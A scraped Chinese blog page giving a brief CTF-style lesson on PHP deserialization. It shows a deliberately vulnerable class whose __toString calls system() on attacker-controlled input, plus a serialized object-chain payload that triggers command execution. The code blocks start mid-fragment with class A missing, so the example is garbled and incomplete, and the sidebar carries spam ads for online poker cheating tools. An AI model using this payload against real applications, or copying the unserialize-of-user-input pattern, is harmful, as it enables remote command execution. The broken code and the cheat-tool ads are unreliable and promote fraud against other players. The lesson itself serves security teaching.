【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

透视了解(AAPOKeR)aa... 透视了解(AAPOKeR)aapoker俱乐部(透视)总是是真的有挂(详细辅助教你攻略)1.aapo...
透视线上！德扑之星有作弊，（智... 透视线上！德扑之星有作弊，（智星德州）真是是真的有挂（详细辅助wpk教程）在进入德扑之星有作弊辅助挂...
透视脚本(微扑克)微扑克ai辅... 透视脚本(微扑克)微扑克ai辅助器苹果版(透视)详细辅助解密教程(其实是真的有挂)1、起透看视 微扑...
透视工具(aapokER)aa... 透视工具(aapokER)aapoker俱乐部(透视)竟然是真的有挂(详细辅助2025新版教程)；1...
透视软件！德扑之星辅助器购买，... 透视软件！德扑之星辅助器购买，（德州俱乐部）本来真的是有挂（详细辅助wepoke教程）；1、德扑之星...
透视最新(Wpk)微扑克游戏辅... 透视最新(Wpk)微扑克游戏辅助器(透视)详细辅助安装教程(一直真的是有挂)；小薇（透视辅助）致您一...
透视ai代打(aapoker)... 透视ai代打(aapoker)aapoker发牌机制(透视)切实真的是有挂(详细辅助2025教程)；...
透视肯定！德扑ai智能，（nz... 透视肯定！德扑ai智能，（nzt德州）总是有挂（详细辅助切实教程）1、完成德扑ai智能的残局，帮助玩...
透视插件(wPK)wpk透视辅... 透视插件(wPK)wpk透视辅助(透视)详细辅助必赢教程(总是真的有挂)1、首先打开wpk透视辅助最...
透视黑科技(aapokeR)a... 透视黑科技(aapokeR)aapoker透视辅助(透视)竟然存在有挂(详细辅助2025版教程)1）...